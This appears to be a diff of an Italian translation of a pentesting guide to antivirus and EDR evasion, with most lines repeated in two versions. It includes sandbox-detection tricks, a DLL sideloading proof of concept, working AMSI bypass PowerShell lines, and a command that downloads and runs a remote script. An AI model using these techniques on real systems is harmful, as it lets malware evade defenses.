- [defendnot](https://github.com/es3n1n/defendnot): Uno strumento per fermare Windows Defender dal funzionare.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Uno strumento per fermare Windows Defender dal funzionare fingendo un altro AV.
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Uno strumento per fermare Windows Defender.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Uno strumento per fermare Windows Defender fingendo un altro AV.
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Attualmente, gli AV utilizzano diversi metodi per verificare se un file è maligno o meno: static detection, dynamic analysis e, per gli EDR più avanzati, behavioural analysis.
|
||||
Attualmente, gli AV usano diversi metodi per verificare se un file è malevolo o no: static detection, dynamic analysis e, per gli EDR più avanzati, behavioural analysis.
|
||||
|
||||
### **Static detection**
|
||||
|
||||
La static detection avviene segnalando stringhe note come malevole o array di byte in un binario o script, e anche estraendo informazioni dal file stesso (es. descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Questo significa che usare strumenti pubblici conosciuti può farti rilevare più facilmente, poiché probabilmente sono già stati analizzati e contrassegnati come malevoli. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
Il rilevamento statico si ottiene segnalando stringhe note o array di byte in un binario o script, ed estraendo anche informazioni dal file stesso (es. file description, company name, digital signatures, icon, checksum, ecc.). Questo significa che usare strumenti pubblici noti può farti beccare più facilmente, poiché probabilmente sono già stati analizzati e segnalati come malevoli. Ci sono un paio di modi per aggirare questo tipo di rilevamento:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
Se cripta il binario, non ci sarà modo per gli AV di rilevare il tuo programma, ma avrai bisogno di una sorta di loader per decriptare ed eseguire il programma in memoria.
|
||||
Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di qualche tipo di loader per decriptare ed eseguire il programma in memoria.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
A volte tutto ciò che devi fare è cambiare alcune stringhe nel tuo binario o script per superare l'AV, ma questo può essere un compito dispendioso in termini di tempo a seconda di cosa stai cercando di offuscare.
|
||||
A volte basta cambiare alcune stringhe nel binario o nello script per aggirare l'AV, ma può essere un compito che richiede tempo a seconda di cosa stai cercando di offuscare.
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
Se sviluppi i tuoi strumenti, non ci saranno firme note negative, ma ciò richiede molto tempo e lavoro.
|
||||
Se sviluppi i tuoi strumenti, non ci saranno firme note come malevoli, ma ciò richiede molto tempo e impegno.
|
||||
|
||||
> [!TIP]
|
||||
> Un buon modo per verificare la static detection di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente; in questo modo può dirti esattamente quali stringhe o byte sono contrassegnati nel tuo binario.
|
||||
> Un buon modo per controllare il rilevamento statico di Windows Defender è [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Fondamentalmente divide il file in più segmenti e poi chiede a Defender di scansionare ciascuno individualmente; in questo modo può dirti esattamente quali stringhe o byte vengono segnalati nel tuo binario.
|
||||
|
||||
Ti consiglio vivamente di dare un'occhiata a questa [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sulle tecniche pratiche di AV Evasion.
|
||||
Consiglio vivamente di dare un'occhiata a questa [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) su AV Evasion pratico.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
La dynamic analysis è quando l'AV esegue il tuo binario in una sandbox e osserva attività malevole (es. tentare di decriptare e leggere le password del browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata con cui lavorare, ma ecco alcune cose che puoi fare per evadere le sandbox.
|
||||
L'analisi dinamica è quando l'AV esegue il tuo binario in una sandbox e osserva attività malevole (es. tentativi di decriptare e leggere le password del browser, effettuare un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata con cui lavorare, ma ecco alcune cose che puoi fare per evadere le sandbox.
|
||||
|
||||
- **Sleep before execution** A seconda di come è implementato, può essere un ottimo modo per bypassare la dynamic analysis degli AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi usare sleep lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare il sleep a seconda dell'implementazione.
|
||||
- **Checking machine's resources** Di solito le sandbox hanno pochissime risorse a disposizione (es. < 2GB RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi anche essere molto creativo qui, ad esempio controllando la temperatura della CPU o anche la velocità delle ventole; non tutto sarà implementato nella sandbox.
|
||||
- **Machine-specific checks** Se vuoi prendere di mira un utente la cui workstation è joinata al dominio "contoso.local", puoi controllare il dominio del computer per vedere se corrisponde a quello che hai specificato; se non corrisponde, puoi far terminare il tuo programma.
|
||||
- **Sleep before execution** A seconda di come è implementato, può essere un ottimo modo per bypassare il dynamic analysis degli AV. Gli AV hanno un tempo molto breve per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi usare sleep lunghi può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono semplicemente saltare lo sleep a seconda di come è implementato.
|
||||
- **Checking machine's resources** Di solito le sandbox hanno pochissime risorse a disposizione (es. < 2GB RAM), altrimenti rallenterebbero la macchina dell'utente. Qui puoi essere molto creativo, per esempio controllando la temperatura della CPU o anche la velocità delle ventole; non tutto sarà implementato nella sandbox.
|
||||
- **Machine-specific checks** Se vuoi targettare un utente la cui workstation è joinata al dominio "contoso.local", puoi fare un controllo sul dominio del computer per vedere se corrisponde a quello specificato; se non corrisponde, puoi far terminare il tuo programma.
|
||||
|
||||
Si scopre che il nome del computer della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione; se il nome corrisponde a HAL9TH significa che sei dentro la sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
Si scopre che il nome del computer della Sandbox di Microsoft Defender è HAL9TH, quindi puoi controllare il nome del computer nel tuo malware prima della detonazione: se il nome corrisponde a HAL9TH, significa che sei nella sandbox di Defender, quindi puoi far uscire il tuo programma.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -51,41 +51,41 @@ Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrasta
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
Come detto prima in questo post, gli strumenti pubblici verranno infine rilevati, quindi dovresti chiederti qualcosa:
|
||||
Come detto prima in questo post, gli **strumenti pubblici** finiranno per **essere rilevati**, quindi dovresti porti questa domanda:
|
||||
|
||||
Per esempio, se vuoi dumpare LSASS, hai davvero bisogno di usare mimikatz? O potresti usare un progetto diverso, meno conosciuto, che faccia comunque il dump di LSASS.
|
||||
Per esempio, se vuoi dumpare LSASS, **hai davvero bisogno di usare mimikatz**? Oppure potresti usare un progetto diverso, meno noto, che faccia comunque il dump di LSASS.
|
||||
|
||||
La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più segnalato pezzo di malware dagli AV e dagli EDR; mentre il progetto stesso è molto interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per quello che stai cercando di ottenere.
|
||||
La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il pezzo di malware più segnalato da AV ed EDR; il progetto è molto interessante, ma è anche un incubo cercare di aggirare gli AV con esso, quindi cerca alternative per quello che vuoi ottenere.
|
||||
|
||||
> [!TIP]
|
||||
> Quando modifichi i tuoi payload per l'evasione, assicurati di disattivare l'invio automatico dei sample in Defender, e per favore, seriamente, NON CARICARE SU VIRUSTOTAL se il tuo obiettivo è ottenere evasione nel lungo periodo. Se vuoi verificare se il tuo payload viene rilevato da un AV specifico, installalo su una VM, prova a disattivare l'invio automatico dei sample e testalo lì fino a quando non sarai soddisfatto del risultato.
|
||||
> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in defender e, per favore, seriamente, **DO NOT UPLOAD TO VIRUSTOTAL** se il tuo obiettivo è ottenere evasion a lungo termine. Se vuoi verificare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì finché non sei soddisfatto del risultato.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Quando possibile, dai sempre priorità all'uso delle DLL per l'evasione; nella mia esperienza, i file DLL vengono di solito molto meno rilevati e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha qualche modo di essere eseguito come DLL, ovviamente).
|
||||
Quando possibile, dai sempre la priorità all'uso di DLLs per l'evasione; nella mia esperienza, i file DLL sono di solito molto meno rilevati e analizzati, quindi è un trucco semplice per evitare la rilevazione in alcuni casi (se il tuo payload ha un modo per eseguire come DLL, ovviamente).
|
||||
|
||||
Come si vede in questa immagine, un DLL Payload di Havoc ha un tasso di rilevamento di 4/26 su antiscan.me, mentre il payload EXE ha un tasso di 7/26.
|
||||
Come possiamo vedere in questa immagine, un DLL Payload da Havoc ha un tasso di rilevamento di 4/26 su antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto più stealth.
|
||||
Adesso mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto più stealth.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL usato dal loader posizionando sia l'applicazione vittima sia il(i) payload maligno(i) uno accanto all'altro.
|
||||
**DLL Sideloading** sfrutta il DLL search order usato dal loader posizionando sia l'applicazione vittima che il payload malevolo affiancati.
|
||||
|
||||
Puoi cercare programmi suscettibili a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e il seguente powershell script:
|
||||
Puoi controllare i programmi suscettibili a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e lo seguente powershell script:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
Questo comando stamperà la lista dei programmi suscettibili a DLL hijacking dentro "C:\Program Files\\" e i file DLL che cercano di caricare.
|
||||
This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
|
||||
|
||||
Ti consiglio vivamente di **explore DLL Hijackable/Sideloadable programs yourself**, questa tecnica è abbastanza stealthy se eseguita correttamente, ma se usi programmi DLL Sideloadable noti pubblicamente, potresti essere facilmente scoperto.
|
||||
Consiglio vivamente di **esplorare personalmente i programmi DLL Hijackable/Sideloadable**, questa tecnica è abbastanza stealthy se eseguita correttamente, ma se usi programmi DLL Sideloadable pubblicamente noti, potresti essere facilmente scoperto.
|
||||
|
||||
Semplicemente piazzando una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, useremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
|
||||
Semplicemente posizionando una DLL malevola con il nome che un programma si aspetta di caricare, non farà automaticamente eseguire il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema useremo un'altra tecnica chiamata **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** inoltra le chiamate che un programma fa dalla DLL proxy (e malevola) alla DLL originale, preservando così la funzionalità del programma e permettendo di gestire l'esecuzione del tuo payload.
|
||||
|
||||
@ -104,27 +104,29 @@ L'ultimo comando ci fornirà 2 file: un template del codice sorgente della DLL e
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Questi sono i risultati:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn)) sia la proxy DLL hanno un tasso di rilevamento 0/26 su [antiscan.me](https://antiscan.me)! Lo definirei un successo.
|
||||
Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn)) sia la proxy DLL hanno un tasso di rilevamento 0/26 su [antiscan.me](https://antiscan.me)! Direi che è un successo.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Ti **consiglio vivamente** di guardare [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) su DLL Sideloading e anche [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) per approfondire quanto abbiamo discusso.
|
||||
> Ti **consiglio caldamente** di guardare il VOD di [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) su Twitch riguardo DLL Sideloading e anche il video di [ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per approfondire quanto abbiamo discusso.
|
||||
|
||||
### Abuso dei Forwarded Exports (ForwardSideLoading)
|
||||
### Abusing Forwarded Exports (ForwardSideLoading)
|
||||
|
||||
Windows PE modules possono esportare funzioni che sono in realtà "forwarders": invece di puntare a codice, la voce di export contiene una stringa ASCII della forma `TargetDll.TargetFunc`. Quando un chiamante risolve l'export, il loader di Windows farà:
|
||||
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
|
||||
|
||||
- Carica `TargetDll` se non è già caricato
|
||||
- Risolve `TargetFunc` da esso
|
||||
|
||||
Comportamenti chiave da comprendere:
|
||||
Key behaviors to understand:
|
||||
- Se `TargetDll` è una KnownDLL, viene fornita dallo spazio dei nomi protetto KnownDLLs (e.g., ntdll, kernelbase, ole32).
|
||||
- Se `TargetDll` non è una KnownDLL, viene usato l'ordine normale di ricerca delle DLL, che include la directory del modulo che effettua la risoluzione del forward.
|
||||
- Se `TargetDll` non è una KnownDLL, viene usato l'ordinamento di ricerca DLL normale, che include la directory del modulo che sta effettuando la risoluzione del forward.
|
||||
|
||||
Questo abilita una primitive di sideloading indiretto: trovare una DLL firmata che esporta una funzione inoltrata a un nome di modulo non-KnownDLL, quindi collocare quella DLL firmata insieme a una DLL controllata dall'attaccante con esattamente lo stesso nome del modulo target inoltrato. Quando l'export inoltrato viene invocato, il loader risolve il forward e carica la tua DLL dalla stessa directory, eseguendo il tuo DllMain.
|
||||
Questo abilita una primitive di sideloading indiretta: trova una DLL firmata che esporta una funzione inoltrata a un nome di modulo non-KnownDLL, poi colloca quella DLL firmata insieme a una DLL controllata dall'attaccante chiamata esattamente come il modulo di destinazione inoltrato. Quando l'export inoltrato viene invocato, il loader risolve il forward e carica la tua DLL dalla stessa directory, eseguendo il tuo DllMain.
|
||||
|
||||
Esempio osservato su Windows 11:
|
||||
```
|
||||
@ -137,7 +139,7 @@ PoC (copy-paste):
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) Posiziona una `NCRYPTPROV.dll` malevola nella stessa cartella. Un DllMain minimale è sufficiente per ottenere l'esecuzione di codice; non è necessario implementare la funzione forwardata per attivare DllMain.
|
||||
2) Posiziona una `NCRYPTPROV.dll` malevola nella stessa cartella. Un DllMain minimo è sufficiente per ottenere code execution; non è necessario implementare la funzione inoltrata per attivare DllMain.
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -149,19 +151,19 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) Attiva l'inoltro con un LOLBin firmato:
|
||||
3) Attiva il forward con un LOLBin firmato:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Comportamento osservato:
|
||||
- rundll32 (signed) carica la side-by-side `keyiso.dll` (signed)
|
||||
- rundll32 (signed) carica il side-by-side `keyiso.dll` (signed)
|
||||
- Durante la risoluzione di `KeyIsoSetAuditingInterface`, il loader segue il forward verso `NCRYPTPROV.SetAuditingInterface`
|
||||
- Il loader quindi carica `NCRYPTPROV.dll` da `C:\test` ed esegue il suo `DllMain`
|
||||
- Se `SetAuditingInterface` non è implementata, otterrai un errore "missing API" solo dopo che `DllMain` è già stato eseguito
|
||||
- Successivamente il loader carica `NCRYPTPROV.dll` da `C:\test` ed esegue il suo `DllMain`
|
||||
- Se `SetAuditingInterface` non è implementato, otterrai un errore "missing API" solo dopo che `DllMain` è già stato eseguito
|
||||
|
||||
Suggerimenti per il rilevamento:
|
||||
- Concentrati sui forwarded exports dove il modulo target non è un KnownDLL. I KnownDLLs sono elencati sotto `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
|
||||
- Puoi enumerare i forwarded exports con tooling come:
|
||||
Hunting tips:
|
||||
- Concentrati sui forwarded exports dove il modulo di destinazione non è un KnownDLL. I KnownDLLs sono elencati sotto `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
|
||||
- Puoi enumerare i forwarded exports con strumenti come:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
@ -169,9 +171,9 @@ dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
- Consulta l'inventario dei forwarder di Windows 11 per cercare candidati: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
Detection/defense ideas:
|
||||
- Monitorare LOLBins (es. rundll32.exe) che caricano DLL firmate da percorsi non di sistema, seguite dal caricamento di non-KnownDLLs con lo stesso nome base da quella directory
|
||||
- Segnala catene processi/moduli come: `rundll32.exe` → non di sistema `keyiso.dll` → `NCRYPTPROV.dll` in percorsi scrivibili dall'utente
|
||||
- Applicare policy di integrità del codice (WDAC/AppLocker) e negare write+execute nelle directory delle applicazioni
|
||||
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
|
||||
- Segnalare catene processo/modulo come: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
|
||||
- Applicare le policy di integrità del codice (WDAC/AppLocker) e negare write+execute nelle directory delle applicazioni
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -187,51 +189,51 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> L'evasione è solo un gioco del gatto e del topo: ciò che funziona oggi potrebbe essere rilevato domani, quindi non fare mai affidamento su un solo strumento; se possibile, prova a concatenare più tecniche di evasione.
|
||||
> L'evasione è solo un gioco del gatto e del topo: ciò che funziona oggi potrebbe essere rilevato domani, quindi non fare mai affidamento su un unico strumento; se possibile, prova a concatenare più tecniche di evasione.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire payload **direttamente in memoria**, l'AV non poteva fare nulla per impedirlo, poiché non aveva sufficiente visibilità.
|
||||
AMSI è stato creato per prevenire "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inizialmente, gli AV erano in grado di scansionare solo **file su disco**, quindi se riuscivi in qualche modo a eseguire i payload **direttamente in-memory**, l'AV non poteva fare nulla per impedirlo, perché non aveva sufficiente visibilità.
|
||||
|
||||
La funzionalità AMSI è integrata in questi componenti di Windows.
|
||||
|
||||
- User Account Control, or UAC (elevazione di EXE, COM, MSI, o installazione ActiveX)
|
||||
- User Account Control, or UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
|
||||
- PowerShell (script, uso interattivo e valutazione dinamica del codice)
|
||||
- Windows Script Host (wscript.exe and cscript.exe)
|
||||
- JavaScript and VBScript
|
||||
- Windows Script Host (wscript.exe e cscript.exe)
|
||||
- JavaScript e VBScript
|
||||
- Office VBA macros
|
||||
|
||||
Consente alle soluzioni antivirus di ispezionare il comportamento degli script esponendo il contenuto degli script in una forma non criptata e non offuscata.
|
||||
Consente alle soluzioni antivirus di ispezionare il comportamento degli script esponendo il contenuto degli script in una forma non crittografata e non offuscata.
|
||||
|
||||
L'esecuzione di `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produrrà il seguente avviso su Windows Defender.
|
||||
Eseguire `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produrrà il seguente avviso su Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota come antepone `amsi:` e poi il percorso dell'eseguibile da cui è avvenuta l'esecuzione dello script, in questo caso, powershell.exe
|
||||
Nota come preceda con `amsi:` e poi il percorso dell'eseguibile da cui lo script è stato eseguito, in questo caso, powershell.exe
|
||||
|
||||
Non abbiamo scritto alcun file su disco, ma siamo comunque stati rilevati in memoria a causa di AMSI.
|
||||
Non abbiamo scritto alcun file su disco, ma siamo comunque stati rilevati in-memory a causa di AMSI.
|
||||
|
||||
Inoltre, a partire da **.NET 4.8**, anche il codice C# viene sottoposto ad AMSI. Questo influisce persino su `Assembly.Load(byte[])` per l'esecuzione in memoria. Per questo motivo si raccomanda di usare versioni .NET inferiori (come la 4.7.2 o precedenti) per l'esecuzione in memoria se si vuole evadere AMSI.
|
||||
Inoltre, a partire da **.NET 4.8**, anche il codice C# viene eseguito tramite AMSI. Questo influenza anche `Assembly.Load(byte[])` per l'esecuzione in-memory. Per questo motivo è consigliabile usare versioni di .NET più basse (come la 4.7.2 o inferiori) per l'esecuzione in-memory se si vuole evadere AMSI.
|
||||
|
||||
Ci sono un paio di modi per aggirare AMSI:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Poiché AMSI lavora principalmente con rilevamenti statici, modificare gli script che tenti di caricare può essere un buon modo per evadere la rilevazione.
|
||||
Dato che AMSI lavora principalmente con rilevazioni statiche, modificare gli script che si tenta di caricare può essere un buon modo per evadere la rilevazione.
|
||||
|
||||
Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se hanno più livelli, quindi l'obfuscation potrebbe essere una cattiva opzione a seconda di come viene effettuata. Questo rende l'evasione non così immediata. Sebbene a volte tutto ciò che serve sia cambiare qualche nome di variabile e il gioco è fatto, dipende da quanto qualcosa è stato segnalato.
|
||||
Tuttavia, AMSI ha la capacità di rimuovere l'offuscamento dagli script anche se è stratificato, quindi obfuscation potrebbe essere una cattiva opzione a seconda di come viene eseguita. Questo rende l'evasione non così semplice. Sebbene a volte basti cambiare un paio di nomi di variabili e tutto funzioni, dipende da quanto qualcosa è stato segnalato.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
Poiché AMSI è implementato caricando una DLL nel processo di powershell (e anche in quello di cscript.exe, wscript.exe, ecc.), è possibile manometterla facilmente anche eseguendo come utente non privilegiato. A causa di questa falla nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per eludere la scansione AMSI.
|
||||
Poiché AMSI è implementato caricando una DLL nel processo powershell (ma anche cscript.exe, wscript.exe, ecc.), è possibile manometterla facilmente anche eseguendo come utente non privilegiato. A causa di questa debolezza nell'implementazione di AMSI, i ricercatori hanno trovato diversi modi per evadere la scansione di AMSI.
|
||||
|
||||
**Forcing an Error**
|
||||
|
||||
Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) farà sì che non venga avviata alcuna scansione per il processo corrente. Inizialmente questo è stato divulgato da [Matt Graeber](https://twitter.com/mattifestation) e Microsoft ha sviluppato una signature per prevenirne un uso più diffuso.
|
||||
Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) farà sì che non venga avviata alcuna scansione per il processo corrente. Originariamente ciò è stato divulgato da [Matt Graeber](https://twitter.com/mattifestation) e Microsoft ha sviluppato una signature per prevenire un uso più diffuso.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
È bastata una riga di codice powershell per rendere AMSI inutilizzabile per l'attuale processo powershell. Questa riga è stata ovviamente rilevata dallo stesso AMSI, quindi è necessaria una modifica per poter utilizzare questa tecnica.
|
||||
È bastata una riga di codice powershell per rendere AMSI inutilizzabile per l'attuale processo powershell. Questa riga è stata ovviamente segnalata dallo stesso AMSI, quindi è necessaria qualche modifica per poter usare questa tecnica.
|
||||
|
||||
Ecco un AMSI bypass modificato che ho preso da questo [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```bash
|
||||
@ -247,119 +249,119 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Tieni presente che probabilmente questo verrà segnalato una volta che il post sarà pubblicato, quindi non dovresti pubblicare alcun codice se il tuo piano è rimanere non rilevato.
|
||||
Tieni presente che questo probabilmente verrà segnalato una volta pubblicato questo post, quindi non dovresti pubblicare codice se il tuo piano è rimanere non rilevato.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
Questa tecnica è stata inizialmente scoperta da [@RastaMouse](https://twitter.com/_RastaMouse/) e consiste nel trovare l'indirizzo della funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverla con istruzioni che restituiscono il codice E_INVALIDARG; in questo modo il risultato della scansione effettiva restituirà 0, interpretato come risultato pulito.
|
||||
|
||||
> [!TIP]
|
||||
> Per una spiegazione più dettagliata, leggi [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/).
|
||||
> Per una spiegazione più dettagliata leggi [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/).
|
||||
|
||||
Ci sono anche molte altre tecniche usate per bypassare AMSI con powershell, vedi [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più.
|
||||
Esistono anche molte altre tecniche usate per bypassare AMSI con PowerShell; dai un'occhiata a [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) e a [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più.
|
||||
|
||||
Questo strumento [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genera inoltre script per bypassare AMSI.
|
||||
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genera anche script per bypassare AMSI.
|
||||
|
||||
**Remove the detected signature**
|
||||
**Rimuovere la signature rilevata**
|
||||
|
||||
Puoi usare uno strumento come **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** per rimuovere la signature AMSI rilevata dalla memoria del processo corrente. Questo tool funziona scansionando la memoria del processo corrente alla ricerca della AMSI signature e poi sovrascrivendola con istruzioni NOP, rimuovendola effettivamente dalla memoria.
|
||||
Puoi usare uno strumento come **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** per rimuovere la AMSI signature rilevata dalla memoria del processo corrente. Questo tool funziona scansionando la memoria del processo corrente alla ricerca della AMSI signature e poi sovrascrivendola con istruzioni NOP, rimuovendola di fatto dalla memoria.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
Puoi trovare una lista di prodotti AV/EDR che usano AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Use Powershell version 2**
|
||||
Se usi PowerShell version 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi fare così:
|
||||
